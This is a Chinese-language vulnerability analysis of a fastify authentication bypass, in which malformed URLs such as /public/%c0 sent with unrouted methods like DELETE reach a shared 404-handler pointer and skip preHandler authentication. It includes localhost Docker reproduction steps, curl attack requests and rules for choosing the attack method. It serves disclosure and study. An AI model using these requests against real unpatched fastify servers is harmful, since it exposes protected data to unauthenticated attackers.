引子

两段日志,来自同一个 fastify 5.12.1 实例。

第一段属于一次正常的授权访问,DELETE /private/missing,带着合法凭证。这个请求的完整处理过程都留在了日志里:

{"level":30,"reqId":"req-3",...,"msg":"incoming request"}
{"level":30,"reqId":"req-3","msg":"private preHandler invoked (auth header present)"}
{"level":40,"reqId":"req-3","msg":"!!! private canary handler invoked (raw url: /private/missing)"}
{"level":30,"reqId":"req-3","res":{"statusCode":200},"msg":"request completed"}

四行。请求进入,认证钩子执行,处理器执行,响应完成。这是框架与开发者之间的一份契约:你注册的每一个钩子,都会在它该在的时刻运行。

第二段是一次攻击请求,DELETE /public/%c0,不带任何凭证。(下文日志里显示 %C0:curl 会把百分号编码的十六进制位归一成大写,%c0 实际以 %C0 发出,畸形性不变,口径见 2.2 节。)URL 里的 %c0 是一个百分号编码,解码出来是非法字节,UTF-8 里不存在以 0xC0 开头的合法序列。它拿到了同样的受保护数据,却只留下了一行日志:

{"level":40,...,"reqId":"req-5","msg":"!!! private canary handler invoked (raw url: /public/%C0)"}

没有 "incoming request",没有 "preHandler invoked",连 "request completed" 都没有。一个拿到 200 和 private canary 的请求,在框架日志里没有留下任何到达记录。它不是绕过了认证——认证代码根本不知道有它这么一个请求。它走的是框架自身的一条内部直调路径,一条至少从 v4.0.0 起就存在的路径。

1. 漏洞基本信息

1.1 标识与一句话描述

漏洞编号 CVE-2026-76169,GitHub 安全通告编号 GHSA-p68q-wchp-6fh7。一句话描述:fastify 在 >= 4.0.0, < 5.12.2 版本中,内部 404 路由器处理畸形 URL 时,通过一个跨插件共享的 handler 指针,直接调用"最后注册"的封装 404 处理器——插件前缀被完全忽略,该处理器声明的 preHandler 等全部生命周期钩子也一并跳过。落到攻击者一侧:从任意前缀、以未认证状态,调用受保护前缀下(或全局注册)的 404 处理器,并读取其响应。

类型归入 CWE-288(Authentication Bypass Using an Alternate Path or Channel,使用替代路径或通道的认证绕过)。这是逻辑缺陷,不是内存破坏:没有溢出,没有悬垂指针。攻击者拿到的是"本不该给他的响应",不是指令指针。

1.2 影响版本

项目

范围

受影响

npm 包 fastify >= 4.0.0 且 < 5.12.2(厂商与 NVD 口径一致)

修复版本

5.12.2(2026-09-04 发布的安全版本)

注意

官方只为 5.x 提供了 5.12.2 补丁;v4 线没有补丁版本,必须升级到 5.12.2+

表里的范围从 v4.0.0 覆盖到 5.12.1,实际落在其中的应用要少得多——一个应用得同时满足三个条件。

  1. 用法:在某个受保护前缀(如 /private)下或根实例上,用 setNotFoundHandler 注册了自定义 404 处理器,认证逻辑写在它的 preHandler 钩子里;靠生命周期钩子做审计或鉴权的,是同一种处境。
  2. 注册顺序:受保护的那个 404 处理器,得是"最后注册"的自定义 not-found 处理器——只注册过一个时,这一条自动满足。
  3. 可达性:攻击者可触达该服务。

从不注册任何自定义 404 处理器的应用,泄露路径不成立。仅全局注册一个自定义 404 处理器的应用也不因此天然安全,实测同样被直调(见 3.12.x 补充实验)。还有一条与升级有关:升级后,畸形 URL 拿到的响应码会变,见 3.13。

1.3 严重程度与向量

官方评分 CVSS 3.1 = 7.5 HIGH,向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N(CNA Secondary 评分,GHSA 评级 High)。门槛无需逐维展开:网络可达、无需凭证、无需用户交互,单个请求完成。危害限定在机密性(C:H / I:N / A:N):攻击者能读到受保护 404 处理器的完整响应,不能直接篡改数据;唯一的边缘例外是 return 返回值风格的处理器,它在直调路径上会挂起连接,官方评分未计入(见 3.12.x)。

有两点值得单独记下。AC:L 说的是单次利用无难度,但漏洞带结构性的前置条件:应用必须存在"自定义 404 处理器 + 认证在钩子里"的用法(见 1.2),攻击方法必须是主路由器中没有路由树的方法(见 3.6 节第 3 帧、3.12 节表 B);7.5 衡量的是命中之后的后果与可达性,衡量不出可被命中的应用有多少。另外,官方通告专门强调:根实例上全局注册的 onRequest 认证钩子不能作为缓解措施——这条路径不经过任何钩子运行器,机理见 3.9 节。

1.4 披露与修复时间线

时间

事件

未知

安全研究者 vvvvvvvvvvitel 向厂商报告(GHSA 致谢;原始报告日期官方未公布,本文不作猜测)

2026-09-03

维护者 Matteo Collina 提交修复 commit 93c239a("fix: reject malformed URLs before custom 404 handlers")

2026-09-04

fastify v5.12.2 发布(安全版本,同版修复包括本漏洞在内的四个 GHSA);NVD 同日收录

时间线之外,未见公开 PoC,也未见在野利用报告。

1.5 参考资料

外部来源:

本文原创分析:

  • v5.12.1 受影响源码与 v5.12.2 修复源码的逐行对照
  • find-my-way 9.6.0 路由器与 URL 解码层的逐行分析
  • Docker 双版本对照复现与 25 项边界实验(编码变体 × 方法变体 × 前缀变体 × 注册顺序互换)
  • 运行时证据:计数器差分、单行日志生命周期缺失、bind 语义验证

2. 环境搭建

2.1 源码准备

三份源码树放在本地:

fastify-5.12.1/        # 受影响版本(shallow clone v5.12.1)
fastify-5.12.2/        # 修复版本(npm pack 取得)
find-my-way-9.6.0/     # 两个版本共同的路由器依赖(npm pack 取得)

要读的代码分布在两个库里。fastify 这边,404 处理器实现在 lib/four-oh-four.js,请求入口在 fastify.js、lib/server.js 与 lib/route.js,生命周期在 lib/handle-request.js;find-my-way 那边,路由与解码就在 index.js 与 lib/url-sanitizer.js。往后本文所有行号,都以本地这三份源码为准——5.12.1、5.12.2、find-my-way 9.6.0。

2.2 复现环境(Docker,推荐)

reproduce/ 目录里是一套对照环境。应用代码只有一份,分别装上受影响与修复两个版本的 fastify;镜像基于 node:22-alpine,只增加一层 npm install fastify@<版本>,再无其他依赖。两个容器都只绑定 127.0.0.1。

cd reproduce

# 1. 构建并启动
docker compose up -d --build

# 2. 执行自动化 PoC(退出码 0 = 复现成功)
./poc.sh

# 3. 手动单发攻击请求
curl -i -X DELETE --path-as-is 'http://127.0.0.1:3000/public/%c0'   # 5.12.1 → 200 private canary
curl -i -X DELETE --path-as-is 'http://127.0.0.1:3001/public/%c0'   # 5.12.2 → 400 FST_ERR_BAD_URL

# 4. 查看容器日志(生命周期缺失证据)
docker compose logs vulnerable

# 5. 清理
docker compose down

对应实录如下:

复现应用 app/server.js 与官方回归测试同构,注册了三个关键组成。主路由器上是 GET / 与 GET /stats,所以 DELETE 打过来,在主路由器中没有路由树;前缀 /public 插件先注册,挂的是普通 404 处理器;前缀 /private 插件后注册,404 处理器带 Bearer 认证 preHandler,返回字符串 private canary。另有三个计数器(publicHandlerCalls / privatePreHandlerCalls / privateHandlerCalls)经 /stats 暴露,差分证明的就是一句话:"处理器被调用而认证未执行"。

第一个坑在攻击的 curl 上。curl 默认会规范化请求路径,实测(容器内 curl 8.22)有两处:其一是字面 ../ 点段折叠,/public/../private/%c0 不加 flag 会被折叠成 /private/%c0 再发出;其二更隐蔽——百分号编码的十六进制位会被统一成大写,%c0 即使带上 --path-as-is 也实际以 %C0 发出(nc 抓请求行核实,实录见 5.3 节)。好在 %C0 同样是非法编码,畸形性不变,触发行为不受影响;本文载荷一律书写原始形态 %c0,后文日志与响应实录中出现的 %C0 均源于此。尽管如此,攻击的 curl 仍一律带上 --path-as-is,把"客户端改写请求行"这个变量整个排除,复现结果只取决于服务端。poc.sh 已内置。

另一个坑在 fastify 5.12.2 官方包里,属于发布疏漏:fastify.js 顶部硬编码的 const VERSION = '5.12.1' 发布时没有更新,于是 5.12.2 实例的 instance.version 仍报 "5.12.1"。复现应用为此改读 require('fastify/package.json').version 上报真实版本;手动验证版本时,请 grep node_modules/fastify/package.json,不要信 instance.version。

2.3 调试环境

纯 JavaScript 的逻辑漏洞用不上二进制调试器,当"调试器"用的是三样东西。

日志差分看的是应用的 logger 输出。攻击请求只留一行处理器日志,完整的四行日志缺了 incoming request/preHandler/completed 三行,这相当于在"钩子运行器"和"处理器入口"下了两个断点。计数器差分拿 /stats 前后快照作对比,"处理器 +N 而认证 +0"就是这样量化出来的。Node 单行实验对付的是纯语言语义,比如 Function.prototype.bind 的绑定优先级,node -e 一行就能验证,不依赖框架。

单步跟踪:在 lib/four-oh-four.js 的 onRouteEvent 与 _routeEventHandler(request, reply) 调用处下条件断点,环境就是 2.2 的容器。

3. 漏洞原理分析

推理的主线是修复前后的 diff:先看两个版本差在哪,再从差异反推行号,看每一处差异消除的究竟是什么。

3.1 全景:一台服务器,两个路由器

一个 fastify 应用进程里,跑着两个路由器实例,都来自同一个库 find-my-way,职责却完全不同。

主路由器是主要入口。app.get('/hello') 注册在这里,请求匹配成功后进入完整的请求生命周期,认证钩子、校验、处理器,一样不缺。它处理畸形 URL 的方式是 fail-closed 的,解码失败直接回 400,这一直没有出过问题,后面会看到它的实现。

404 路由器是 fastify 的特有机制,理解它是理解本漏洞的前提。fastify 有"插件封装"(encapsulation)机制:每个 register(plugin, { prefix: '/private' }) 会派生一个隔离的子实例,子实例里的装饰器、钩子、处理器互不可见。那么,如果一个请求没匹配到任何业务路由,该用谁的 404 页面?答案设计得很精细:按前缀分发。/private 插件可以注册自己的 404 处理器,比如返回一个登录提示页;/public 插件可以注册另一个,返回站点地图,互不干扰。为了实现这一点,fastify 给 404 也建了一个路由器,把每个插件的 404 处理器按前缀注册成通配路由:router.all('/private/*', ...)、router.all('/public/*', ...)。请求落到 404 路由器时,再按路径前缀精确匹配到对应插件的处理器。

这个设计的关键约束是前缀决定身份。/private 下的 404 处理器只应被 /private 前缀的请求触发,它的认证钩子(如果有)随处理器一起注册在该前缀的作用域内。这一约束由 404 路由器的前缀匹配来保障,只要请求正常走到"前缀匹配"这一步,一切正常。

漏洞发生在前缀匹配执行之前。find-my-way 匹配一条路径的流程是先解码、后匹配:find() 在进入树匹配之前,会先调用 safeDecodeURI() 把路径上的百分号编码解开;路径含有非法编码(比如 %c0)时,解码这一步抛出 URIError,find-my-way 捕获后触发 onBadUrl 事件。此刻还没走到前缀匹配,请求的路径信息对 404 路由器来说已经作废。这个事件需要一个处理者。

而 5.12.1 的 fastify 给 404 路由器的 onBadUrl 装的,不是"回 400"的守卫,而是一个会直接调用共享指针的闭包。指针指向整个应用里最后注册的那个封装 404 处理器,调用它时不经过任何生命周期钩子。链条于是成立:解码失败,前缀信息丢失,共享指针接管,最后注册的处理器——恰是 /private 的——被无认证调用。

三个环节,单看每一个都只是实现细节,叠在一起就构成对前缀封装的整体绕过。注册阶段有两处关键代码:一处建立了这条分发路径,一处试图限制它但未生效。

3.2 注册期·上:实例构造流程

fastify() 是一个工厂函数(fastify.js:90),每调用一次 require('fastify')(),它就组装出一个完整的框架实例。组装的先后顺序,直接决定后面漏洞代码的 this 指向。构造流程一共四步。

// fastify.js:90(节选,注释为本文所加)
function fastify (serverOptions) {
  // ...
  const { options, ... } = processOptions(serverOptions, defaultRoute, onBadUrl, onMaxParamLength)  // :97
  // Default router
  const router = buildRouting(options.routerOptions)   // :100  ← FindMyWay 实例 #1(主路由器)
  // 404 router, used for handling encapsulated 404 handlers
  const fourOhFour = build404(options)                 // :103  ← FindMyWay 实例 #2(404 路由器)
  // HTTP server and its handler
  const httpHandler = wrapRouting(router, options)     // :106  ← HTTP 入口包装
  // ...
  // Set the default 404 handler
  fastify.setNotFoundHandler()                         // :440  ← 安装根级默认 404(basic404)
  fourOhFour.arrange404(fastify)                       // :441  ← ★ 首次 bind,永久固定 this

第一步是 processOptions(fastify.js:857),负责把用户传进来的零散选项归一化,其中一步和本漏洞直接相关:options.routerOptions = buildRouterOptions(options, { defaultRoute, onBadUrl, onMaxParamLength, ... })(fastify.js:929-939)。传入的 onBadUrl 是 fastify 自己写好的一个函数,定义在 fastify.js:645,就是"回 400 + FST_ERR_BAD_URL"的那个守卫。buildRouterOptions(lib/route.js:662-680)的逻辑是:用户在 routerOptions 里自己配了 onBadUrl 就尊重用户,否则用 fastify 默认的。也就是说,"畸形 URL 回 400"的守卫函数,在主路由器上从构造时起就存在。后面对比修复时会看到,修复者做的不是发明守卫,而是让 404 路由器复用这个已经存在的守卫。

buildRouting(lib/route.js:77)是第二步,创建主路由器,并把 fastify 的 defaultRoute 装进去。这个"匹配失败"时的统一出口(fastify.js:634)做的事出人意料地少:

// fastify.js:634
function defaultRoute (req, res) {
  if (req.headers['accept-version'] !== undefined) {
    // 摘掉 accept-version 头,避免 404 路由器再做无谓的版本约束检查
    req.headers[kRequestAcceptVersion] = req.headers['accept-version']
    req.headers['accept-version'] = undefined
  }
  fourOhFour.router.lookup(req, res)   // :642  ← 把请求整体转交 404 路由器
}

主路由器发现自己没有这个请求的路由时,不自己回 404,而是把原始 req/res 原样递给 404 路由器,"前缀该归谁"的判定权随之移交。移交本身是合理设计,404 处理器按前缀封装,只有 404 路由器知道答案;但它同时意味着,凡是主路由器不认识的东西,都会被送进 404 路由器。方法树完全不存在时,主路由器连解码都来不及做,那些连解码都过不去的畸形路径,也就原样传递给了 404 路由器。

第三步 build404(options)(lib/four-oh-four.js:32)是漏洞代码的引入位置。这个文件全文只有 193 行,漏洞占掉其中三处,索性把 5.12.1 的原文整段贴出来:

// lib/four-oh-four.js:32(v5.12.1,节选)
function fourOhFour (options) {
  const { logger } = options

  // 404 router, used for handling encapsulated 404 handlers
  const router = FindMyWay({
    onBadUrl: createRouteEventHandler(),        // :37  ★ 漏洞载体一:畸形 URL 事件的处理者
    onMaxParamLength: createRouteEventHandler(),// :38  ★ 同款载体,挂在超长参数事件上
    defaultRoute: fourOhFourFallBack
  })
  let _routeEventHandler = null                 // :41  ★ 漏洞载体二:跨插件共享的 handler 指针

  return { router, setNotFoundHandler, setContext, arrange404 }

对照 find-my-way 的默认行为:创建路由器时不传 onBadUrl,它的 _onBadUrl(index.js:731-733)会返回 null,畸形 URL 走 defaultRoute。fastify 在主路由器上主动传入了自家的 400 守卫;在 404 路由器上,传入的是 createRouteEventHandler() 的返回值。这个工厂函数返回的闭包做什么,3.6 节逐行拆。结构此刻已经能看清:fourOhFour 是一个闭包工厂,router、setNotFoundHandler 等内部函数与 _routeEventHandler 变量共享同一片闭包作用域——包括将来由所有插件实例共同读写的 _routeEventHandler。

构造流程的最后一步在工厂函数收尾的两行(:440-441)。fastify.setNotFoundHandler() 无参调用,给根实例安装默认 404 处理器 basic404;紧接着 fourOhFour.arrange404(fastify)。首次 bind 就发生在这里,绑的是根实例。这个时序位置,3.5 节会成为关键。

四步走完,产物是一个进程、两个路由器、一个共享指针(此刻指向 basic404),外加一个挂在畸形 URL 事件上的闭包。/public 和 /private 的 404 处理器此时还未注册,要等插件注册时才写入。

3.2.x 补一张启动时序图

启动阶段的关键动作按时间排开,后面所有分析都挂在这张图上。

三个时间点必须分清。构造期是同步代码,bind 的第一次在这里发生;启动期由 avvio 驱动,插件按注册顺序依次执行,_routeEventHandler 的最终指向在这里决定;preReady 是最后一次机会,把钩子装配进各前缀的 context。攻击请求只在最后的状态上生效。

3.3 注册期·中:插件封装——基于原型链的实例隔离

fastify 的封装不是"复制配置",而是 JavaScript 原型链。它同时解释漏洞的两个方面:正常路径下前缀隔离为什么有效,一个全应用共享的闭包变量又为什么能穿透这一切。

插件的派生发生在 lib/plugin-override.js 的 override()(:28),注释原话是 "Function that runs the encapsulation magic":

// lib/plugin-override.js:28(节选)
module.exports = function override (old, fn, opts) {
  // ...
  const instance = Object.create(old)                          // :38  ← 原型链派生
  old[kChildren].push(instance)
  // ...
  instance[kHooks] = buildHooks(instance[kHooks])              // :47  ← 钩子独立
  instance[kRoutePrefix] = buildRoutePrefix(instance[kRoutePrefix], opts.prefix)  // :48  ← 前缀拼接
  // ...
  if (opts.prefix) {
    instance[kFourOhFour].arrange404(instance)                // :67-69  ← 见 3.5
  }
  return instance
}

Object.create(old) 让子实例的原型指向父实例:读 instance.foo 时,自己没有 foo,就沿原型链向父级找。子实例自己的属性(钩子、前缀、装饰器)遮蔽父级同名属性,而父级访问不到子级的任何东西。每个带 prefix 的插件都这样一层层派生下去,最终形成一棵实例树:

每个前缀作用域有自己的配置与钩子,互不影响。业务路由、装饰器、addHook 都遵守这套作用域规则,addHook 在哪个实例上调用,就只进入哪个实例(及其子实例)的 context。

404 处理器同样应该遵守这套规则,而且 fastify 确实为它准备了一整套实例级状态记录。lib/four-oh-four.js 顶部的注释写得很明白(:25-31):

/**
 * Each fastify instance have a:
 * kFourOhFourLevelInstance: point to a fastify instance that has the 404 handler set
 * kCanSetNotFoundHandler: bool to track if the 404 handler has already been set
 * kFourOhFour: the singleton instance of this 404 module
 * kFourOhFourContext: the context in the reply object where the handler will be executed
 */

四个符号里最关键的是 kFourOhFourLevelInstance,每个实例记着"我这个前缀的 404 处理器挂在哪个实例上";以及 kFourOhFourContext,那个实例的 404 执行上下文——context 在 fastify 里是"一次请求的全部环境",处理器、钩子、序列化器、错误处理器都在上面。arrange404(:45-53)在插件派生时把 kFourOhFourLevelInstance 指向新实例,把 kCanSetNotFoundHandler 置回 true;kFourOhFourContext 的登记则要等到 setNotFoundHandler,见 3.4 节:

// lib/four-oh-four.js:45(v5.12.1)
function arrange404 (instance) {
  // Change the pointer of the fastify instance to itself, so register + prefix can add new 404 handler
  instance[kFourOhFourLevelInstance] = instance
  instance[kCanSetNotFoundHandler] = true
  // we need to bind instance for the context
  router.onBadUrl = router.onBadUrl.bind(instance)        // :50  ★ 意图更换 this,实际无效(3.5 节)
  router.onMaxParamLength = router.onMaxParamLength.bind(instance)  // :51
  router.defaultRoute = router.defaultRoute.bind(instance)// :52
}

头两行是正常的状态更新,子实例获得自己的 404 状态记录。后三行的问题在于:注释写着 "we need to bind instance for the context",意图显然是让 404 路由器的回调感知当前插件实例,但它依赖的 bind 语义是错的,这三行在 5.12.1 里是彻头彻尾的死代码。为什么,3.5 节专门讲;结论可以先立在这里:畸形 URL 闭包的 this 从构造期第一次 bind 起,永远是根实例,任何插件都改变不了它。

在正确的作用域规则下,一切本该如此。/private 插件调用 instance.setNotFoundHandler({ preHandler: 认证钩子 }, 处理器),处理器和钩子进入 /private 子实例的 kFourOhFourContext,并以前缀 /private/* 注册进 404 路由器。请求 DELETE /private/missing 落到 404 路由器,前缀匹配命中 /private/* 节点,取出 privateContext,走完整生命周期,认证钩子在其中运行。实测如此,第 5 部分的复现记录里,无凭证 401,带凭证 200。

问题在于,setNotFoundHandler 在把处理器登记到所属作用域的同时,还多做了一件事:把它赋值给了那个不属于任何作用域的共享指针。这步赋值只有一行,混在一大段正确的登记逻辑中间。

3.4 注册期·下:setNotFoundHandler 逐行——共享指针的写入

入口在 fastify.js:720-725。setNotFoundHandler 是公开 API,一行转发进 404 模块内部:

// fastify.js:720
function setNotFoundHandler (opts, handler) {
  throwIfAlreadyStarted('Cannot call "setNotFoundHandler"!')
  fourOhFour.setNotFoundHandler.call(this, opts, handler, avvio, router.routeHandler)
  return this
}

转发用了 .call(this),把当前实例——可能是某个前缀插件的子实例——作为 this 传入。内部实现(lib/four-oh-four.js:83-138)拿到的 this 是谁,决定了处理器注册进哪个作用域。逐段往下读。

第一段(:85-97)是状态初始化与防重:

if (this[kCanSetNotFoundHandler] === undefined) this[kCanSetNotFoundHandler] = true
if (this[kFourOhFourContext] === undefined) this[kFourOhFourContext] = null
const _fastify = this
const prefix = this[kRoutePrefix] || '/'        // :93  ← 当前实例的前缀,作用域标识
if (this[kCanSetNotFoundHandler] === false) {
  throw new Error(`Not found handler already set for Fastify instance with prefix: '${prefix}'`)
}

每个前缀只允许设置一次 404 处理器,重复设置直接抛错。这段没有问题,而且 :93 行明确取了 this 的前缀——写这段代码的人,对"每个前缀有自己的作用域"有清醒的意识。

第二段(:99-115)是钩子预处理,用户随处理器声明的 preHandler(本例中的 Bearer 认证钩子)在这里被 bind 到当前插件实例:

if (typeof opts === 'object') {
  if (opts.preHandler) {
    if (Array.isArray(opts.preHandler)) {
      opts.preHandler = opts.preHandler.map(hook => hook.bind(_fastify))
    } else {
      opts.preHandler = opts.preHandler.bind(_fastify)      // :104  ← 认证钩子绑到插件实例
    }
  }
  if (opts.preValidation) { /* 同上,略 */ }
}

这是函数级的 bind,钩子执行时的 this 由此指向插件实例。钩子此刻只是被收集,真正的装配发生在 preReady,见第四段。到这里为止,一切都还在作用域规则之内。

第三段(:117-132)做处理器归一化,这里是漏洞的核心:

if (typeof opts === 'function') {   // setNotFoundHandler(handler) 单参形式
  handler = opts
  opts = undefined
}
opts = opts || {}

if (handler) {
  this[kFourOhFourLevelInstance][kCanSetNotFoundHandler] = false
  handler = handler.bind(this)          // :125  ← 处理器绑到当前插件实例(绑定正确)
  // update route event handler
  _routeEventHandler = handler          // :127  ★ 赋值给共享指针——前缀信息在这里丢失
} else {
  handler = basic404
  // update route event handler
  _routeEventHandler = basic404         // :131  ★ 无参调用也覆盖共享指针
}

:124 行在实例级记录上落下防重记号,:125 行 bind 处理器,这两步是对的。问题出在注释 "update route event handler" 下的那一行:_routeEventHandler = handler。

回看 :41,let _routeEventHandler = null 声明在 fourOhFour(options) 函数体的顶层。一个 fastify() 应用只有一个 fourOhFour 单例(build404 在工厂体内只调用一次,fastify.js:103),这个变量因此是整个应用唯一的存储单元——不管 /public、/private 还是任何未来插件的 setNotFoundHandler,写的都是同一个存储位置。注册顺序决定该位置的内容:/public 插件先注册,写入 publicHandler;/private 插件后注册,覆写为 privateHandler。变量被覆盖,前缀信息不存,两次覆写的时点见图 3 的启动期一栏。

这个变量因此成为一个只保留最后写入值的分发入口:它不区分请求的前缀,也不读取 kFourOhFourContext 的实例级记录,只保存最后被写入的那个函数。这个设计大概是为了给 onBadUrl 闭包一个"当前默认处理器"可调,但它把 N 个前缀的处理器折叠成了 1 个,折叠规则是"最后注册者胜出"——一条与前缀语义无关的规则。

做一个反向的思想实验,可以把根本原因的位置定准。假如这个共享指针的调用也要走完整生命周期,漏洞不成立:只要流水线用的是处理器所属作用域的 context,认证钩子就会拦住无凭证请求。再退一步,假如指针永远指向根实例的 basic404,只是照样直调,漏洞同样不成立,basic404 只会回一个不含业务数据的 404 JSON。单看 :127 的覆盖,或单看"直调",都不足以成洞;两个机制必须同时存在。这是后文"根因收束"一节的核心论点,先把另一半拆完。

第四段(:134-170)把注册往后推,推到当前插件加载完成之后,用的是 avvio 的 after,插件系统的常规操作:

this.after((notHandledErr, done) => {
  _setNotFoundHandler.call(this, prefix, opts, handler, avvio, routeHandler)  // :135
  done(notHandledErr)
})

真正干活的是 _setNotFoundHandler(:140-170),它做三件事:

function _setNotFoundHandler (prefix, opts, handler, avvio, routeHandler) {
  const context = new Context({ schema: opts.schema, handler, config: opts.config || {}, server: this })  // :141

  avvio.once('preReady', () => {                    // :148
    const context = this[kFourOhFourContext]
    for (const hook of lifecycleHooks) {            // :150
      const toSet = this[kHooks][hook].concat(opts[hook] || []).map(h => h.bind(this))
      context[hook] = toSet.length ? toSet : null   // :154  ← ★ 认证钩子装进 privateContext.preHandler
    }
    /* errorHandler 装配,略 */
  })

  if (this[kFourOhFourContext] !== null && prefix === '/') {
    Object.assign(this[kFourOhFourContext], context)  // :162  ← 根前缀:替换默认 404
    return
  }

  this[kFourOhFourLevelInstance][kFourOhFourContext] = context   // :166  ← 将 context 登记到所属实例

  router.all(prefix + (prefix.endsWith('/') ? '*' : '/*'), routeHandler, context)  // :168
  router.all(prefix, routeHandler, context)                                        // :169
}

构造 context,把处理器与服务器引用封装进去;到 preReady,把实例钩子与 opts 里声明的钩子(包括认证 preHandler)合并装配进 context;再把 context 登记到所属实例,以两条通配路由注册进 404 路由器。/private 插件注册的是 /private 与 /private/*,store 是 privateContext。

:168-169 藏着一个容易忽略的细节,它是攻击构造的前提之一:router.all 用的方法是 all。find-my-way 的 Router.prototype.all(index.js:794-795)实现就一行:

Router.prototype.all = function (path, handler, store) {
  this.on(httpMethods, path, handler, store)
}

httpMethods 是 find-my-way 支持的全部 HTTP 方法数组。也就是说,404 路由器里这些通配路由在每一个方法树里都有节点,trees['DELETE']、trees['OPTIONS']、trees['PROPFIND']……一应俱全。对比主路由器:复现应用只注册了 GET 路由,主路由器只有 trees['GET'],以及自动暴露的 trees['HEAD']。两个路由器在方法维度上的不对称,将在请求期变成一条攻击准则:攻击方法必须选主路由器没有树的方法。

至此,注册期的准备全部完成。稳态下的对象关系画在图 5 里,对着它可以把前文串一遍;后文的请求期走查,就是这张图上的一次遍历:

一边是精细的实例级记录(instance → context → 钩子),一边是横跨所有作用域的共享指针。请求正常时走记录对应的调用路径,请求"异常"(畸形 URL)时走共享指针。fastify 为异常路径设置的,是一条绕过全部记录的直调路径。

3.5 arrange404 与 bind:一段从未生效的代码

arrange404 里那三行 bind 为什么是死代码,要从 Function.prototype.bind 的 ECMAScript 语义说起。对一个函数 f,f.bind(a) 返回一个绑定了 this = a 的新函数 g;此后无论再对 g 做多少次 bind、call、apply,调用 g 时 f 内部的 this 永远是 a。第一次 bind 之后永久有效,后续 bind 只是在外层再包一个函数,不改变首次绑定的 this。用单行实验直接验证:

$ node -e "
function onRouteEvent(){ return this.tag }
const root={tag:'ROOT'}, pub={tag:'/public插件'}, pri={tag:'/private插件'}
let h = onRouteEvent.bind(root)   // 构造期:fastify.js:441 首次 bind(根实例)
h = h.bind(pub)                   // 启动期:/public 插件 override → arrange404 再 bind
h = h.bind(pri)                   // 启动期:/private 插件 override → arrange404 再 bind
console.log('最终 this =', h())"
最终 this = ROOT

一轮注册下来,router.onBadUrl 属性被替换了三次,真正的 this 停在第一次 bind 的根实例上。这三行代码的作者显然期望"每个前缀插件把 404 回调 bind 到自己",让 onRouteEvent 里的 this[kFourOhFourLevelInstance] 解析到插件自己的作用域。假如生效,畸形 URL 至少会用"当前最后 bind 的插件"的 context,行为会错乱;但错乱归错乱,致命程度并不会降:直调依旧不经过任何钩子运行器,认证照样被跳过——致命的从来不是 this 指向谁,而是"指针直调"这个动作本身(3.9 节)。实际上 this 恒为根实例,onRouteEvent 用到的 this[kFourOhFourLevelInstance][kFourOhFourContext] 恒解析为根实例的 404 context,复现应用里它就是 basic404 的空 context,没有任何业务钩子;根级另注册全局处理器时,解析到的则是那个处理器的 context,直调照样越过其钩子(见 3.12.x)。

为什么首次 bind 发生在根实例上?看时序。fastify() 工厂体的 :441 行同步调用 fourOhFour.arrange404(fastify),此时 router.onBadUrl 还是 createRouteEventHandler() 产出的裸闭包,第一次 bind 就发生在这一刻;插件的 override 由 avvio 在 boot 阶段驱动,晚于工厂体,做的都是无效的二次 bind。

这段死代码不是漏洞的直接成因,删掉它,漏洞原样成立,this 反正一直是根实例。但它的存在暴露了维护者对"404 回调感知插件实例"这个需求的长期误判。从注释 "we need to bind instance for the context" 看,至少某个时期的作者相信这三行在起作用。真实需求是让畸形 URL 事件找到正确的插件上下文,这个需求被一段无效代码"满足"了整个 4.x/5.x 时代,于是没人再为它设计真正的方案,直到它以安全漏洞的形式暴露出来。修复 commit 干脆把这三行删到只剩 router.defaultRoute = router.defaultRoute.bind(instance)(5.12.2 :49,这个 bind 是必要的,fourOhFourFallBack 需要实例引用),等于承认:此前的重绑从来没有必要,也不可能有效。

arrange404 还有另一半,真正生效的两行:instance[kFourOhFourLevelInstance] = instance 与 instance[kCanSetNotFoundHandler] = true(:47-48)。这两行状态更新在每个前缀插件派生时执行,为子实例初始化新的 404 状态记录。它是封装体系的一部分,工作正常。而漏洞恰恰不在这套记录上,而在绕过记录的那条直调路径上。

3.6 请求期:十五帧走查,从字节到 canary

DELETE /public/%c0,无 Authorization 头,从进入网卡到返回 private canary。下面按帧逐步拆解,每一帧给出落点与证据;帧号沿用图 6 的调用链。

第 1 帧是解析与接入。攻击者发出:

DELETE /public/%c0 HTTP/1.1
Host: target

方法选 DELETE 是有意的:复现应用的主路由器只注册了 GET 路由,DELETE 无树,原因见第 3 帧。载荷一律以 --path-as-is 发送,把"客户端改写请求行"这个变量整个排除;curl 对这类载荷的剩余改写只有十六进制位归一成大写,畸形性不变(口径见 2.2 节)。

Node.js 的 HTTP 解析器(llhttp)接受 DELETE 没有任何问题。顺带说,解析器并非接受任意方法名:实测自定义方法 FROBNICATE 在解析层就被拒掉,响应体是 fastify clientError 处理器的默认输出(fastify.js:985 的 {"error":"Bad Request","message":"Client Error","statusCode":400}),根本进不了路由器;而 PUT、PATCH、TRACE、PROPFIND、MKCOL 这些标准/网盘方法全部畅通(实测数据见 3.12)。攻击者可选的方法因此是一个相当大的集合:Node 解析器认识、而主路由器没注册路由的任何方法。

请求经 http.createServer(options.http, httpHandler) 注册的监听器进入框架(lib/server.js:338)。httpHandler 是 wrapRouting(router, options) 的返回值(fastify.js:106、:800-817),一个 preRouting 函数,处理可选的 rewriteUrl 后调用 router.routing(req, res, ...);routing 是主路由器 lookup 的绑定(lib/route.js:114)。污点就在这一刻进入框架:攻击者完全控制的方法字符串与 URL 字符串,还是原封不动的字节。

第 2 帧,主路由器 lookup。Router.prototype.lookup(find-my-way index.js:532)是两个路由器共用的方法,逻辑只有三步:派生约束(版本、主机等,本例无)→ find(method, path) → callHandler(handle, ...)。

第 3 帧,find 的第一道检查:方法树。find(index.js:567)的前两行:

let currentNode = this.trees[method]
if (currentNode === undefined) return null      // :568-569

find-my-way 为每个出现过的 HTTP 方法维护一棵独立的 radix 树。主路由器此时只有 trees['GET'] 和 trees['HEAD'](fastify 默认为 GET 路由自动暴露 HEAD,实测 HEAD 请求与 GET 同样在主路由器就被拦下回 400),trees['DELETE'] 是 undefined,find 在这两行就返回了 null。此时路径的任何一个字符都还没被读到,后面的 URL 解码根本没机会执行。这一帧解释了攻击方法学的第一条准则:畸形 URL 若要到达 404 路由器的 onBadUrl,主路由器必须连这棵方法树都没有;反之,只要应用注册过任意一条 DELETE 路由,主路由器自己就会解码、自己触发自家的 400 守卫,攻击面关闭。复现实验里 GET /public/%c0 和 HEAD /public/%c0 都返回 400 FST_ERR_BAD_URL,就是主路由器守卫在工作——同一个载荷,只因方法不同,结果截然不同。

